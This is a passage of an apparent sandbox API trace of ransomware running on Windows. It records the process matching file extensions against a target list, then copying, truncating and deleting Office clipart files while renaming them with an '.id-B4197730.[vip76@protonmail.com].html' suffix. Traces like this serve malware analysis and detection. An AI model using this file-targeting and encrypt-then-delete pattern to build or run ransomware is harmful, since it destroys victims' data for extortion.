	[0186.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.036] lstrlenW (lpString=".dbf") returned 4
	[0186.036] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0186.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.036] lstrlenW (lpString=".1cd") returned 4
	[0186.036] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0186.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68
	[0186.036] lstrlenW (lpString=".jpg") returned 4
	[0186.036] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0186.036] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.036] lstrlenW (lpString="J0099173.WMF") returned 12
	[0186.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.037] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=37140) returned 1
	[0186.037] CloseHandle (hObject=0x514) returned 1
	[0186.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0186.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.038] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.038] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0186.039] GetLastError () returned 0x0
	[0186.039] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x9114, lpOverlapped=0x0) returned 1
	[0186.137] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x9120, lpOverlapped=0x0) returned 1
	[0186.139] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.139] WriteFile (in: hFile=0x5bc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.139] SetEndOfFile (hFile=0x5bc) returned 1
	[0186.144] CloseHandle (hObject=0x5bc) returned 1
	[0186.209] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.209] SetEndOfFile (hFile=0x514) returned 1
	[0186.216] CloseHandle (hObject=0x514) returned 1
	[0186.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0186.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.218] lstrlenW (lpString=".doc") returned 4
	[0186.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.218] lstrlenW (lpString=".docx") returned 5
	[0186.218] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.218] lstrlenW (lpString=".pdf") returned 4
	[0186.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString=".xls") returned 4
	[0186.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.219] lstrlenW (lpString=".xlsx") returned 5
	[0186.219] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.219] lstrlenW (lpString=".ppt") returned 4
	[0186.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString=".zip") returned 4
	[0186.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.219] lstrlenW (lpString=".rar") returned 4
	[0186.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString=".bz2") returned 4
	[0186.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString=".7z") returned 3
	[0186.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString=".dbf") returned 4
	[0186.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString=".1cd") returned 4
	[0186.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString=".jpg") returned 4
	[0186.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.219] lstrlenW (lpString=".doc") returned 4
	[0186.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString=".docx") returned 5
	[0186.220] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.220] lstrlenW (lpString=".pdf") returned 4
	[0186.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString=".xls") returned 4
	[0186.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.220] lstrlenW (lpString=".xlsx") returned 5
	[0186.220] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.220] lstrlenW (lpString=".ppt") returned 4
	[0186.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.220] lstrlenW (lpString=".zip") returned 4
	[0186.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.220] lstrlenW (lpString=".rar") returned 4
	[0186.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString=".bz2") returned 4
	[0186.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString=".7z") returned 3
	[0186.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.220] lstrlenW (lpString=".dbf") returned 4
	[0186.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.220] lstrlenW (lpString=".1cd") returned 4
	[0186.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0186.220] lstrlenW (lpString=".jpg") returned 4
	[0186.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.221] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.221] lstrlenW (lpString="J0099174.WMF") returned 12
	[0186.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.222] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6214) returned 1
	[0186.222] CloseHandle (hObject=0x514) returned 1
	[0186.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0186.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.222] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.223] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0186.225] GetLastError () returned 0x0
	[0186.225] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1846, lpOverlapped=0x0) returned 1
	[0186.305] WriteFile (in: hFile=0x588, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1850, lpOverlapped=0x0) returned 1
	[0186.306] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.306] WriteFile (in: hFile=0x588, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.306] SetEndOfFile (hFile=0x588) returned 1
	[0186.307] CloseHandle (hObject=0x588) returned 1
	[0186.307] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.307] SetEndOfFile (hFile=0x514) returned 1
	[0186.310] CloseHandle (hObject=0x514) returned 1
	[0186.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString=".doc") returned 4
	[0186.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString=".docx") returned 5
	[0186.313] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0186.313] lstrlenW (lpString=".pdf") returned 4
	[0186.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString=".xls") returned 4
	[0186.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.313] lstrlenW (lpString=".xlsx") returned 5
	[0186.313] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0186.313] lstrlenW (lpString=".ppt") returned 4
	[0186.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString=".zip") returned 4
	[0186.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.313] lstrlenW (lpString=".rar") returned 4
	[0186.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString=".bz2") returned 4
	[0186.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString=".7z") returned 3
	[0186.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString=".dbf") returned 4
	[0186.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString=".1cd") returned 4
	[0186.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.313] lstrlenW (lpString=".jpg") returned 4
	[0186.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.314] lstrlenW (lpString=".doc") returned 4
	[0186.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString=".docx") returned 5
	[0186.314] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0186.314] lstrlenW (lpString=".pdf") returned 4
	[0186.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString=".xls") returned 4
	[0186.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.314] lstrlenW (lpString=".xlsx") returned 5
	[0186.314] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0186.314] lstrlenW (lpString=".ppt") returned 4
	[0186.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.314] lstrlenW (lpString=".zip") returned 4
	[0186.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.314] lstrlenW (lpString=".rar") returned 4
	[0186.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString=".bz2") returned 4
	[0186.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.314] lstrlenW (lpString=".7z") returned 3
	[0186.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.328] lstrlenW (lpString=".dbf") returned 4
	[0186.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.329] lstrlenW (lpString=".1cd") returned 4
	[0186.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0186.329] lstrlenW (lpString=".jpg") returned 4
	[0186.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.329] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.329] lstrlenW (lpString="J0099177.WMF") returned 12
	[0186.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.330] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5386) returned 1
	[0186.330] CloseHandle (hObject=0x514) returned 1
	[0186.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
	[0186.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0186.331] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.331] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0186.332] GetLastError () returned 0x0
	[0186.332] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x150a, lpOverlapped=0x0) returned 1
	[0186.350] WriteFile (in: hFile=0x588, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1510, lpOverlapped=0x0) returned 1
	[0186.351] ReadFile (in: hFile=0x514, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.351] WriteFile (in: hFile=0x588, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.352] SetEndOfFile (hFile=0x588) returned 1
	[0186.352] CloseHandle (hObject=0x588) returned 1
	[0186.352] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.352] SetEndOfFile (hFile=0x514) returned 1
	[0186.935] CloseHandle (hObject=0x514) returned 1
	[0186.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0186.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.958] lstrlenW (lpString=".doc") returned 4
	[0186.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.958] lstrlenW (lpString=".docx") returned 5
	[0186.958] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.958] lstrlenW (lpString=".pdf") returned 4
	[0186.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.958] lstrlenW (lpString=".xls") returned 4
	[0186.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.958] lstrlenW (lpString=".xlsx") returned 5
	[0186.958] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.959] lstrlenW (lpString=".ppt") returned 4
	[0186.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString=".zip") returned 4
	[0186.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.959] lstrlenW (lpString=".rar") returned 4
	[0186.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString=".bz2") returned 4
	[0186.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString=".7z") returned 3
	[0186.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString=".dbf") returned 4
	[0186.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString=".1cd") returned 4
	[0186.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString=".jpg") returned 4
	[0186.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.959] lstrlenW (lpString=".doc") returned 4
	[0186.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString=".docx") returned 5
	[0186.960] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0186.960] lstrlenW (lpString=".pdf") returned 4
	[0186.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString=".xls") returned 4
	[0186.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.960] lstrlenW (lpString=".xlsx") returned 5
	[0186.960] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0186.960] lstrlenW (lpString=".ppt") returned 4
	[0186.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.960] lstrlenW (lpString=".zip") returned 4
	[0186.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.960] lstrlenW (lpString=".rar") returned 4
	[0186.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString=".bz2") returned 4
	[0186.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.960] lstrlenW (lpString=".7z") returned 3
	[0186.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0186.960] lstrlenW (lpString=".dbf") returned 4
	[0186.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
